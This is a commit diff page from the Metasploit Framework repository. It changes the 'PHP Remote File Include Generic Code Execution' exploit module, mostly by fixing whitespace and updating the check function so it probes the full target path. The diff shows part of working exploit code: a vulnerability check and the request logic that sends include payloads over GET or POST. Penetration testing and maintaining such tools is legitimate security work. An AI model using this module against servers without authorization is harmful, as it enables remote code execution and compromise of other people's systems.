Skip to content

Commit 2e4e3fd

Browse files
committed
Land rapid7#2237 - Fix check function
2 parents 997c5e5 + 7efe85d commit 2e4e3fd

File tree

1 file changed

+38
-32
lines changed

1 file changed

+38
-32
lines changed

modules/exploits/unix/webapp/php_include.rb

Lines changed: 38 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
# This file is part of the Metasploit Framework and may be subject to
33
# redistribution and commercial restrictions. Please see the Metasploit
44
# web site for more information on licensing and terms of use.
5-
# http://metasploit.com/
5+
# http://metasploit.com/
66
##
77

88
require 'msf/core'
@@ -16,36 +16,36 @@ class Metasploit3 < Msf::Exploit::Remote
1616

1717
def initialize(info = {})
1818
super(update_info(info,
19-
'Name' => 'PHP Remote File Include Generic Code Execution',
20-
'Description' => %q{
19+
'Name' => 'PHP Remote File Include Generic Code Execution',
20+
'Description' => %q{
2121
This module can be used to exploit any generic PHP file include vulnerability,
2222
where the application includes code like the following:
2323
2424
<?php include($_GET['path']); ?>
2525
},
26-
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
27-
'License' => MSF_LICENSE,
28-
#'References' => [ ],
29-
'Privileged' => false,
30-
'Payload' =>
26+
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
27+
'License' => MSF_LICENSE,
28+
#'References' => [ ],
29+
'Privileged' => false,
30+
'Payload' =>
3131
{
3232
'DisableNops' => true,
33-
'Compat' =>
33+
'Compat' =>
3434
{
3535
'ConnectionType' => 'find',
3636
},
3737
# Arbitrary big number. The payload gets sent as an HTTP
3838
# response body, so really it's unlimited
39-
'Space' => 262144, # 256k
39+
'Space' => 262144, # 256k
4040
},
4141
'DefaultOptions' =>
4242
{
4343
'WfsDelay' => 30
4444
},
4545
'DisclosureDate' => 'Dec 17 2006',
46-
'Platform' => 'php',
47-
'Arch' => ARCH_PHP,
48-
'Targets' => [[ 'Automatic', { }]],
46+
'Platform' => 'php',
47+
'Arch' => ARCH_PHP,
48+
'Targets' => [[ 'Automatic', { }]],
4949
'DefaultTarget' => 0))
5050

5151
register_options([
@@ -59,19 +59,25 @@ def initialize(info = {})
5959
], self.class)
6060
end
6161

62-
def check
63-
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
64-
if(uri and ! uri.empty?)
65-
uri.gsub!(/\?.*/, "")
66-
print_status("Checking uri #{uri}")
67-
response = send_request_raw({ 'uri' => uri})
68-
return Exploit::CheckCode::Detected if response.code == 200
69-
print_error("Server responded with #{response.code}")
70-
return Exploit::CheckCode::Safe
71-
else
72-
return Exploit::CheckCode::Unknown
62+
def check
63+
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
64+
65+
tpath = normalize_uri(datastore['PATH'])
66+
if tpath[-1,1] == '/'
67+
tpath = tpath.chop
68+
end
69+
70+
if(uri and ! uri.empty?)
71+
uri.gsub!(/\?.*/, "")
72+
print_status("Checking uri #{rhost+tpath+uri}")
73+
response = send_request_raw({ 'uri' => tpath+uri})
74+
return Exploit::CheckCode::Detected if response.code == 200
75+
print_error("Server responded with #{response.code}")
76+
return Exploit::CheckCode::Safe
77+
else
78+
return Exploit::CheckCode::Unknown
79+
end
7380
end
74-
end
7581

7682
def datastore_headers
7783
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
@@ -128,23 +134,23 @@ def php_exploit
128134
uris.each do |uri|
129135
break if session_created?
130136

131-
# print_status("Sending #{tpath+uri}")
137+
vprint_status("Sending: #{rhost+tpath+uri}")
132138
begin
133139
if http_method == "GET"
134140
response = send_request_raw( {
135141
'global' => true,
136-
'uri' => tpath+uri,
142+
'uri' => tpath+uri,
137143
'headers' => datastore_headers,
138144
}, timeout)
139145
elsif http_method == "POST"
140146
response = send_request_raw(
141147
{
142-
'global' => true,
143-
'uri' => tpath+uri,
144-
'method' => http_method,
145-
'data' => postdata,
148+
'global' => true,
149+
'uri' => tpath+uri,
150+
'method' => http_method,
151+
'data' => postdata,
146152
'headers' => datastore_headers.merge({
147-
'Content-Type' => 'application/x-www-form-urlencoded',
153+
'Content-Type' => 'application/x-www-form-urlencoded',
148154
'Content-Length' => postdata.length
149155
})
150156
}, timeout)

0 commit comments

Comments
 (0)